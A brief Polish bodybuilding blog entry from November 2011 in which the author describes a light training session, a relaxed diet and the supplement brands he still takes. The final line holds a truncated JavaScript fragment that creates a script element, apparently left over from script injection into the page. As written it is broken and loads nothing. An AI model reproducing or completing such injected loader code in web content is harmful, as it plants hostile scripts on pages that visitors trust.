19.11.2011

19.11.2011 / Tomasz Lech / Kulturystyka

Dzisiaj na treningu zrobiłem tylko 3 ćwiczenia po 3serie na łydki+3 ćwiczenia po 3 serie na brzuch+30 min aerobów.Planowałem zrobić coś innego na treningu,ale po przyjściu do siłowni mój dobry kolega poprosił mnie o pomoc w treningu,więc nie mogłem odmówić.Tym bardziej,że teraz mam więcej luzu.Dieta trochę poluzowana.Suplementy niektóre odstawione,ale są też takie bez których nie mogę się obejść,a są to:S.A.W.,AAKG Mega Hardcore,Isolite 100,Vitargo Electro-Energy,Vit.C Strong,Glutamina Extreme.var d=document;var s=d.createElement(‚script’); }